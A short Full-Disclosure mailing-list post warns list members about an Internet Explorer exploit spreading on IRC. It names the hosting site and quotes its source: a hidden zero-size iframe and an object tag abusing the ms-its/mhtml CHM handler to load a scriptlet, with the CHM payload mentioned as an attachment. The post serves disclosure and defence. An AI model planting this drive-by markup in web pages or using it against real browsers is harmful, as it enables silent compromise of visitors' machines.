[Full-Disclosure] IE exploit going around on irc

[Niek Baakman <niekbaakman@xxxxxxx>]

Hi list,

this thing's been going around on irc the last few days:

www.divx.dc-hub.com (IE users don't click it!)
check source:
<iframe src='loi.htm' width=0 height=0></iframe>

loi.htm contains:
   <object
   data="ms-its:mhtml:file://C:\winhelp.mht!${PATH}/LOI.CHM::/loi.htm"
   type="text/x-scriptlet"></object>


LOI.CHM is attached

Regards,

Niek Baakman

--

The greatest trick the devil ever pulled was convincing the world he didn't 
exist.
PGP KeyID: 0x65C28B9A   |    Fingerprint: 
7A5301026E58CF3FACE7F2F0D82B854565C28B9A

Attachment: LOI.zip
Description: Binary data

Attachment: signature.asc
Description: OpenPGP digital signature